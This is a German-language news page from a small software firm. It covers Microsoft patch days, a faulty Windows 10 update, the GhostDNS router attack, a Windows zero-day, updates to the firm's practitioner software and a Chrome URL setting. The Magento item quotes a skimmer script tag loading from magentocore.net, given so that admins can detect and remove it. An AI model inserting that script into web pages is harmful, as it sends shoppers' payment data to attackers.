Microsoft Patchday behebt 50 Sicherheitslücken

Beim gestrigen Patchday hat Microsoft Updates zu teils erheblichen Sicherheitslücken bereitgestellt. Eine Zero Day Lücke wurde bereits aktiv ausgenutzt. Hierbei geht es um eine Rechteausweitung in Windows. Neben Windows werden auch Officeprodukte, der Internetexplorer, Edge, aber auch eine acht Jahre alte Lücke im Exchangeserver gefixt. Nutzer von Windows 7 und 8 sollten keineswegs zögern, die Patches einzuspielen. Eine Empfehlung, dies auch für Windows 10 zu tun, können wir derzeit nicht aussprechen, auch Microsoft hält sich mit Informationen zum letzten Update derzeit zurück. Sinnvoll vor jedem Update ist es, ein Backup zu schreiben.

Microsoft stoppt fehlerhaftes Windows 10 Update

Kaum ist das Oktober Update zu Windows 10 veröffentlicht, mehren sich enttäuschte Anwender, die einen Datenverlust nach dem Update zu beklagen haben. Dies ist jetzt häufiger in Foren diskutiert worden und einige Fachmagazine wie z. B. golem.de haben Hinweise dazu veröffentlicht. Von Einzelfällen geht man hier keineswegs aus. Es ist ratsam vor jedem Update ein Backup zu schreiben. Ob die verlorenen Daten auf den Systemen wiederhergestellt werden können, kann man leider nur im Einzelfall beurteilen. Ganz abschreiben sollte man die Daten aber nicht.  Microsoft steht schon etwas länger in der Kritik, dass es in letzter Zeit gehäuft zu Updateproblemen gekommen ist. 

"GhostDNS" greift Heimrouter an

Vermehrt in Brasilien wurde ein Angriff auf Heimrouter registriert, der betroffene Anwender auf gefälschte Banking Seiten umleitet. Es gibt hinreichende Anzeichen dafür, dass sich diese Attacke auch auf andere Länder ausweitet. Anfällig sind über 70 Router der Firmen:

3Com, A-Link, Alcatel (bzw. Technicolor), Antena, C3-Tech, Cisco, D-Link, Elsys, Fiberhome, Fiberlink, Geneko, Greatek, Huawei, Intelbras, Kaiomy, LinkOne, MikroTik, MPI Networks, Multilaser, OIWTECH, Perfect, Qtech, Ralink, Roteador, Sapido, Secutech, Siemens, Technic, Tenda, Thomson, TP-Link, Ubiquiti, Viking, ZTE und Zyxel

Naturheilpraxis ohne Grenzen geöffnet

Bei strahlendem Sonnenschein war es am 26.09.2018 endlich soweit: Die erste Praxis der Naturheilpraxis ohne Grenzen öffnete in den Räumlichkeiten der St. Gertrud Kirche. Die Therapeuten waren sehr gespannt, ob denn bereits am ersten Sprechstundentag Menschen kommen würden – und ja: es kamen bereits einige. Auch wenn manches noch improvisiert werden musste, so konnten die Therapeuten mit viel Empathie für die Patienten professionelle Hilfe zukommen lassen:

Stammdateneingabe mittels eGK

In der neuen Version der RoCas Heilpraxis (1.6.2) haben wir die Stammdateneingabe mittels eGK implementiert. Die Versionen G1 + G2 werden erkannt und die entsprechenden Patientendaten in die jeweiligen Felder der Praxissoftware übertragen. Dabei werden Vorname, Nachname, Straße, Hausnummer, PLZ, Ort, Geburtsdatum und Krankenkasse übernommen. Aus der Information des Geschlechts wird die Anrede generiert.

Microsoft schließt 0Day Lücke

Beim gestrigen Patchday hat sich Microsoft unter anderem um eine sog. 0Day Lücke gekümmert, diese wurde bereits aktiv ausgenutzt. Insgesamt wurden 60 Sicherheitslücken geschlossen, von denen 17 als kritisch eingestuft sind. Wer also auf seinem Rechner noch keine Updates eingespielt hat, sollte diese dringend nachholen. In den Browsern Edge und Internet Explorer wurden vor allem Speicherfehler gefixt. Unter anderem wurden auch Office Produkte überarbeitet.

Chrome 69 zeigt URL nicht mehr an

Sind Sie auch irritiert? In der jetzigen Version zeigt Chrome die URLs nicht mehr an, ob Sie sich nun im world wide web also im www, oder einer für Mobilgeräte optimierten Seite beginnend mit m, bzw. einer Subdomain befinden, die evtl. nur wenig mit der Domain zu tun hat, die gänzlich z. B. https://www.rocas.de  heißen würde. Nun steht dort nur noch rocas.de in der Browserzeile. Dies können Sie im Moment nur durch Doppelklick auf die Adresszeile ermitteln, oder Sie geben about:flags in die Browserzeile ein und unter Omnibox UI Hide Steady-State URL Scheme and Trivial Subdomains auf disabled und auf relaunch klicken.

Kleine Vorschau auf RoCas Heilpraxis Version 1.6.2

In der neuen Version werden wir den Datenschutz weiter abrunden und die Verwaltung vereinfachen. Dazu wird der Patienteneditor einen neuen Reiter "Datenschutz" erhalten.

Im Bereich Verträge haben Sie die Option, den Abschluss eines Behandlungsvertrages, die Kenntnisnahme der Datenschutzerklärung und die Verwendung von Google Maps zu hinterlegen. Unter Aufbewahrungsfristen sehen Sie die bereits kalkulierten Aufbewahrungsfristen, die sich aus den Rechnungen und der Patientenkartei ergeben und zuvor unter dem Reiter "Person" zu finden waren.

0Day Lücke klafft in Windows 7 bis 10

Eine sogenannte Zero Day Lücke ist durch Sicherheitsforscher der Firma Eset in aktuellen Windowssystemen bekannt geworden. Das bedeutet, dass noch kein Sicherheitsupdate zu dieser Lücke existiert und die Entwickler 0 Tage Zeit haben diese zu schließen, daher der Name.

Der Angriff erfolgt über eine Schwachstelle in der Aufgabenplanung, allerdings wird der Angriff erst durch Ausführen eines Mailanhangs eingeleitet. Bislang sind noch wenige erfolgreiche Infektionen bekannt, allerdings wurden einige bereits in Deutschland registriert. 

(Quelle: heise)

Tausende Magento Shops kompromittiert

Der niederländische Sicherheitsforscher Willem de Groot hat etwa 7000 kompromittierte Magento Shops ausfindig gemacht, bei denen die Zahlungsinformationen und weitere Daten der Kunden an einen russischen Server abfließen. Webadmins sollten auf folgende (oder ähnliche) JavaScript Codezeilen achten und diese umgehend entfernen

<script type="text/javascript" src="https://magentocore.net/mage/mage.js"></script>

© 2026 RoCas GbR. All Rights Reserved.